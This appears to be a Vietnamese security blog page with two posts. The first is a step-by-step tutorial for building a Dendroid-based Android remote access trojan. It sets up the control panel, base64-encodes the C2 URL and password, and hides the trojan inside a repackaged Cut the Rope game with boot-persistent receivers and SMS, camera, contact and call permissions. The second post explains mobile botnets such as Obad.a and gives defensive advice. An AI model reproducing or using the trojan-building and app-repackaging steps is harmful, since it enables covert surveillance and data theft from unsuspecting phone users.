Showing posts with label Trojan. Show all posts
Showing posts with label Trojan. Show all posts

Friday, October 10, 2014

Hướng dẫn tạo RAT ( Remote Access Trojan ) Android

Lâu lâu rồi viết một bài.
Sử dụng bài viết với mục đích học tập, đừng có nghịch ngợm phá hoại he2

Bắt đầu  

*****

 Các tool cần thiết
1.       Apktool
-          Dùng để disassemble và recompile file APK
-          Dùng APK_OneClick có tích hợp Apktool
Download về chạy shellext-add.bat
Khi Disassemble hay Recompile chọn chuột phải vào file apk hay thư mục.
2.       Tool Base64
3.       Source code remote access trojan

Các bước

Bước 1 :
1.       Tạo Web server để điều khiển
Source website  DendroidSource-master\Dendroid Panel
Cách thiết lập
-          Vào Dendroid Panel\Dendroid Panel\DendroidRAT chỉnh sửa file  reg.php
$allowedDomains = array("www.domain.com", "domain.com");
                Thay bằng địa chỉ domain của mình, ví dụ chạy trên localhost (IP local ví dụ 192.168.0.103) để
$allowedDomains = array("192.168.0.103");
-          Kết nối database dùng database 
DendroidSource-master\Dendroid Panel\Dendroid Panel\Other Files\SQL.sql
Khi vào Web panel lần đầu thiết lập các thông số ( ví dụ như hình)

Bước 2 :
1.       Tạo app apk remote access trojan
Dùng Eclipse tạo project android from Existing Code và trỏ tới thư mục  “DendroidSource-master /Dendroid APK”
Vào source code src/com/connect/DroiddianService.java chỉnh sửa các thông số

private String encodedURL = "aHR0cDovLzE5Mi4xNjguMC4xMDMvRGVuZHJvaWRSQVQ="; //base 64 URL website http://192.168.0.103/DendroidRAT
private String backupURL = "aHR0cDovLzE5Mi4xNjguMC4xMDMvRGVuZHJvaWRSQVQ=";
private String encodedPassword = "aGF2ZWZ1bg=="; //base64 password "havefun"
-        
           Với encodedURL là base64 của website panel ( ví dụ như http://192.168.0.103/DendroidRat ); có thể dùng tool Base64 ở trên.
-          Password ở dạng base64 (với code tải về là base64 của “havefun” ); nếu muốn thay đổi password sửa các file trong source website
upload-picture.php
new-upload.php
get-function.php
get.php
Build và Run Project.
Để theo dõi chỉ cần cài ứng dụng “Droidian.apk” trên máy victim.

1.       Bước 3
      Gắn ứng dụng trojan Droidian.apk vào các ứng dụng apk khác
Ví dụ gắn trojan này vào app “CutTheRope2.3.apk”. Link apk

  • -          Dùng Apktool (hoặc APK one click ở trên) disassemble 2 file “CutTheRope2.3.apk” và “Droidian.apk”
  • -          Copy toàn bộ các file trong Droidian-disasm\smali vào CutTheRope2.3-disasm\smali

Chon “merge folder” và “don’t copy same file”

Và




-          Sửa file AndroidManifest của CutTheRope
Xem ThemFileManifest.txt trong DendroidSource-master
Thêm vào trong thẻ <application></application>

<activity android:name="com.connect.Dialog" android:excludeFromRecents="true" />
        <activity android:name="com.connect.CaptureCameraImage" android:excludeFromRecents="true" />
        <activity android:name="com.connect.CameraView" android:excludeFromRecents="true" />
        <activity android:name="com.connect.VideoView" android:excludeFromRecents="true" />
        <service android:name="com.connect.DroidianService" android:persistent="true" android:enabled="true" android:exported="true" />
        <service android:name="com.connect.RecordService" />
        <receiver android:name="com.connect.ServiceReceiver" android:persistent="true" android:enabled="true" android:exported="true">
            <intent-filter android:priority="1000">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
Thêm các permission ( thường trước đóng thẻ </manifest> )

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.QUICKBOOT_POWERON" android:required="false" />
    <uses-permission android:name="android.permission.INTERNET" android:required="true" />
    <uses-permission android:name="android.permission.READ_SMS" android:required="true" />
    <uses-permission android:name="android.permission.WRITE_SMS" android:required="true" />
    <uses-permission android:name="android.permission.GET_ACCOUNTS" android:required="true" />
    <uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true" />
    <uses-permission android:name="android.permission.READ_CONTACTS" android:required="true" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" android:required="true" />
    <uses-permission android:name="android.permission.GET_TASKS" android:required="true" />
    <uses-permission android:name="android.permission.WAKE_LOCK" android:required="false" />
    <uses-permission android:name="android.permission.CALL_PHONE" android:required="true" />
    <uses-permission android:name="android.permission.SEND_SMS" android:required="true" />
    <uses-permission android:name="android.permission.WRITE_SETTINGS" android:required="false" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" android:required="false" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:required="true" />
    <uses-permission android:name="android.permission.CAMERA" android:required="true" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" android:required="false" />
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" android:required="true" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" android:required="true" />
    <uses-feature android:name="android.hardware.camera" android:required="false" />
    <uses-feature android:name="android.hardware.camera.front" android:required="false" />
    <uses-feature android:name="android.hardware.camera.autofocus" android:required="false" />
    <uses-feature android:name="android.hardware.microphone" android:required="false" />

  •   Recompile lại app CutTheRope, cài vào máy điện thoại và khi khởi động lại điện thoại thì trojan remote được kích hoạt


Monday, November 4, 2013

Mạng Botnet trên di động

Giới thiệu
Các thiết bị Mobile ngày càng trở nên thông dụng và kết nối nhiều với nhau nên ngày cảng trở nên phức tạp và dễ bị tổn thương, Botnet dựa trên SmartPhone bị sử dụng cho những phạm tội tương tự như thư rác , DdoS …
Khái niệm mạng botnet trên máy tính
Botnet là một mạng gồm từ hàng trăm tới hàng triệu máy tính bị điều khiển hoàn toàn (theo thuật ngữ người ta gọi các máy tính này là Zombie tức các thây ma),chúng bị điều khiển để cùng làm một công việc gì đó theo mục đích của hacker điều khiển chúng vd: tải về cài đặt các chương trình quảng cáo, hay cùng đồng loạt tấn công một trang web nào đó thông qua kĩ thuật DDoS
Nền tảng của BotNet là một chương trình máy tính được thiết kế để liên lạc với hacker ,nhận lệnh và thực hiện lệnh của hacker, người ra gọi chương trình này là “Bot” (viết tắt từ robot).

Mô hình hoạt động mạng botnet trên di động


Giai đoạn 1 : Tin tặc phát tán mã độc ( virus, malware, trojan …) để thu về những thiết bị di động “ ma” tạo thành một mạng botnet
Giai đoạn 2 : Dùng mạng botnet thực hiện các hành vi phạm pháp như gửi thư rác, gửi tin nhắn dịch vụ, DDOS …

Mobile botnet
Các moblie bot đã được phát hiện lần đầu vào năm 2011 bởi DroidDream và Geimimi – hai ứng dụng trò chơi độc hại trên nền tảng Android. Bằng cách gửi qua email, nhúng trong các ứng dụng lậu, nhúng vào các trang web người dùng sẽ tải các tập tin đó về, ngay khi cài đặt điện thoại sẽ bị nhiễm trojan và trở thành zombie- moblie.
Khi điện thoại trở thành một phần của botnet sẽ gây ra các hậu quả
-          Gián đoạn hoặc từ chối truy cập mạng
-          Ăn cắp thông tin người dùng như tên đăng nhập, mật khẩu …
-          Gửi tin nhắn tới các đầu số thu phí.
-          Cài đặt hay gỡ bỏ các ứng dụng khác
-          Mở một trang web độc hại hay chứa quảng cáo
 Tháng 9/2013 theo thông báo của các chuyên gia Kasperky Lab đã phát hiện trường hợp sử dụng trojan Obak.a tạo mạng botnet ( sử dụng giai đoạn 1) các thiết bị di động sử dụng hệ điều hành android
Bằng cách kết hợp trojan Obak.a và trojan SMS.AndroidOS.Opfake.a ., attacker gửi một tin nhắn văn bản tới người dùng yêu cầu họ tải tin nhắn MMS
““You have a new MMS message, download at - http://otkroi.net/12”
Khi người dùng truy cập vào địa chỉ URL sẽ tải về file mms.apk hay mmska.apk. trong đó chứa trojan  Backdoor.AndroidOS.Obad.a .
Khi cài đặt tập tin này trojan bằng cách kết hợp SMS.AndroidOS.Opfake.a  sẽ gửi tin nhắn tương tự tới các số liên lạc lưu trên thiết bị mới bị nhiễm Đây là một hệ thống được tổ chức bài bản: một nhà mạng di động ở Nga cho biết có hơn 600 tin nhắn chứa những liên kết này được phát tán chỉ trong 5 giờ. Hầu hết các trường hợp phần mềm độc hại được phát tán sử dụng các thiết bị đã bị lây nhiễm.
Ngoài việc dùng botnet di động, Trojan có độ phức tạp cao này cũng phân phối bằng các tin nhắn rác. Thông thường một tin nhắn cảnh báo người sử dụng chưa trả nợ hút nạn nhân theo một liên kết tự động tải Obad.a vào thiết bị di động. Tuy nhiên, người dùng phải chạy các tập tin tải về để cài đặt Trojan.
Các kho ứng dụng giả mạo, sao chép nội dung các trang Google Play và thay thế những liên kết hợp pháp bằng liên kết độc hại, lan truyền Backdoor.AndroidOS.Obad.a. 


Google Play fake store
Người dùng hãy tự bảo vệ mình

Có thể thấy nguyên nhân cơ bản tiếp tay cho sự phát tán của các mã độc một phần là do người dùng có thói quen thích truy cập các trang web không lành mạnh, những đường link chào mời hấp dẫn…
Một số lời khuyên để smartphone không bị nhiễm phần mềm độc hại
-          Chỉ tải ứng dụng từ các nguồn tin cậy
-          Cài đặt chương trình chống virus (AVG Antivirus, BKAV, … cho Android )
-          Để ý tới yêu cầu “chấp nhận: khi cài ứng dụng
Thao tác của người dùng quyết định phần lớn độ an toàn, do đó cần hết sức thận trọng, cảnh giác. Tốt nhất nên tự trang bị một phần mềm bảo vệ có thể tự động quét các liên kết đang truy cập cũng như các ứng dụng đang tải về để đánh giá mức độ an toàn.